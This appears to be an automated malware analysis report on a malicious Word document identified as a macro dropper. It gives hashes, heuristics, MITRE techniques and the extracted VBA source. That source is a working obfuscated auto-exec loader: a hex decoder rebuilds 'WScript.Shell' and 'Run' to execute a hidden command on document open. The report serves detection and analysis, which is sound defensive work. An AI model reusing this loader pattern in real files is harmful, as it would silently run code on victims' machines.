Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 44ccb088ea54b0dd…

MALICIOUS

Office (OLE)

35.5 KB Created: 2018-07-19 20:31:00 Authoring application: Microsoft Office Word First seen: 2019-02-10
MD5: 7f2502c1912d7b3b5fc9e1bc8c5688d2 SHA-1: 75b762f059f634f7e454bfcc0788184bce8bee95 SHA-256: 44ccb088ea54b0dde11b082e140fc73f0ac78782c67da8088655e3a08fc349a2
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing heavily obfuscated VBA macros. The 'Document_Open' macro, triggered automatically, uses a custom decoder function 'ZW_' to deobfuscate and execute a command. This pattern strongly suggests the macro's purpose is to download and execute a second-stage payload, consistent with a dropper functionality. The ClamAV detection name 'Doc.Dropper.Valyria-6666974-0' further supports this assessment.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6666974-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6666974-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2816 bytes
SHA-256: adbae72f5b442bb496a636ffba1ea955d5aed435feaaee6fb73d76911cef2981
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function RRLN_() As String
Dim For i = 25 To 58:KUMEMPAUY_(aMRPKFINFTIX_ & DNIAEQYP_(54, v), 11)):Next i:Random(DAWCJS_):For i = 25 To 58:KUMEMPAUY_(aMRPKFINFTIX_ & DNIAEQYP_(54, v), 11)):Next i:SLQCFZXUUU_( & vBSDUJRXRZVM_:MAKYQM_(VQNKHGAQZ_)):Random(DAWCJS_):Random(DAWCJS_):For i = 42 To 77:QTMISVHDPOF_(aTWWYIQFF_ & SXGAGGWFOD_(34, 4), 11)):Next i:For i = 42 To 77:QTMISVHDPOF_(aTWWYIQFF_ & SXGAGGWFOD_(34, 4), 11)):Next i:Dim Dim JOEIQZ_As String = "QGKKNC_":MAKYQM_(VQNKHGAQZ_)):
End Function
Public Function ZW_(ByVal E_ As String)
   Dim BX_ As String: Dim TCT_ As Long: For TCT_ = 1 To Len(E_) Step 2: BX_ = BX_ & Chr(Val("&H" & Mid(E_, TCT_, 2)) - 86): Next: ZW_ = BX_
End Function
Private Function UHAM_() As String
ZCXQSJEEK_( & vFDJTFD_:IMNWZVWR_ = aDJOYUVYTTW_:WLVCZUDW_(XJLSSIH_)):Random(12, 6)VWOSMFM_:Random(12, 6)VWOSMFM_:IMNWZVWR_ = aDJOYUVYTTW_:Random(OEPDGY_):ZTTLOH_(RCAZFMYIA_ & PJESWAVDK_(12, 6), 11)):ZCXQSJEEK_( & vFDJTFD_:IMNWZVWR_ = aDJOYUVYTTW_:Random(OEPDGY_):For i = 32 To 97:JCNWXXXFYKY_(aDXOSOAO_ & QNFZELRLKI_(54, v), 11)):Next i:Random(12, 6)VWOSMFM_:Random(OEPDGY_):Random(OEPDGY_):
End Function
Sub Document_Open()
Application.Run ZW_("A5AEA6AD9897A1B0B5")
End Sub
Private Function NHFYIZH_() As String
FDAVFBILLZR_(GCWGFNBGCG_ & MJGABLCUFM_(12, 6), 11)):XLPVSC_( & vZDOZVQNRDH_:For i = 27 To 86:NKJNQVSDZ_(aKGWNRW_ & BVLEIH_(54, v), 11)):Next i:FDAVFBILLZR_(GCWGFNBGCG_ & MJGABLCUFM_(12, 6), 11)):Dim VIBIKA_As String = "KVVPWV_":For i = 27 To 86:NKJNQVSDZ_(aKGWNRW_ & BVLEIH_(54, v), 11)):Next i:Dim XLPVSC_( & vZDOZVQNRDH_:Random(QVDBKDPYSX_):Dim VIBIKA_As String = "KVVPWV_":FDAVFBILLZR_(GCWGFNBGCG_ & MJGABLCUFM_(12, 6), 11)):XLPVSC_( & vZDOZVQNRDH_:Random(QVDBKDPYSX_):
End Function
Sub OXPWBAKZ_()
    CallByName CreateObject(ZW_("ADA9B9C8BFC6CA84A9BEBBC2C2")), ZW_("A8CBC4"), VbMethod, ZW_(ActiveDocument.Variables("WBPVLCNXQ").Value), 0, True
End Sub
Private Function VYAVNA_() As String
IDTLWGGIAWO_ = aTTEVUE_:For i = 15 To 50:ZDRDQV_(aYTNUUNR_ & YNBTOQSZ_(34, 4), 11)):Next i:Random(12, 6)BKXXTXFSGCK_:Random(AQDFRAIKEM_):NHTDASTLKSG_(ICIBHQG_)):Random(12, 6)BKXXTXFSGCK_:QDJBNGFEI_(JHESQJCDYB_ & JJULCPLTSH_(12, 6), 11)):Dim QDJBNGFEI_(JHESQJCDYB_ & JJULCPLTSH_(12, 6), 11)):Dim MKIJXR_As String = "TMOCPIZDQ_":GKZNUT_( & vKAFYWOP_:Random(12, 6)BKXXTXFSGCK_:IDTLWGGIAWO_ = aTTEVUE_:For i = 36 To 94:SMEQSFLGS_(aGRDZOUIHF_ & MHOGXVZ_(54, v), 11)):Next i:For i = 15 To 50:ZDRDQV_(aYTNUUNR_ & YNBTOQSZ_(34, 4), 11)):Next i:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.